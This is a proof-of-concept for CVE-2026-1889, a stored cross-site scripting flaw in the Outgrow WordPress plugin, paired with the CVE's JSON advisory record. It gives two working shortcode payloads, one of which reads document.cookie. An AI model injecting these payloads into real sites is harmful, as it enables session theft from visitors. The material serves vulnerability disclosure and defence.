CVE-2026-1889

<!-- PoC for CVE-2026-1889: Stored XSS via 'outgrow' shortcode --> <!-- Step 1: Authenticated attacker (Contributor+) creates a new post --> <!-- Step 2: Inject the malicious shortcode in the post content --> [outgrow id='" onmouseover="alert(1)"'] <!-- Alternative payload to break out of the attribute context --> [outgrow id='"><script>alert(document.cookie)</script><'] <!-- Explanation: --> <!-- The 'id' parameter lacks sanitization. When the page is viewed, --> <!-- the injected JavaScript payload executes within the victim's browser context. -->

{"cve": {"id": "CVE-2026-1889", "sourceIdentifier": "[email protected]", "published": "2026-03-21T04:16:55.703", "lastModified": "2026-04-22T21:32:08.360", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Outgrow plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'id' attribute of the 'outgrow' shortcode in all versions up to, and including, 2.1. This is due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}, {"lang": "es", "value": "El plugin Outgrow para WordPress es vulnerable a cross-site scripting almacenado a través del atributo 'id' del shortcode 'outgrow' en todas las versiones hasta la 2.1, inclusive. Esto se debe a una sanitización de entrada y un escape de salida insuficientes en los atributos proporcionados por el usuario. Esto hace posible que atacantes autenticados, con acceso de nivel de colaborador y superior, inyecten scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/outgrow/tags/2.1/newOutgrow.php#L87", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/outgrow/trunk/newOutgrow.php#L87", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/outgrow/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/29e9ad80-6a02-494a-9d53-0f14728952aa?source=cve", "source": "[email protected]"}]}}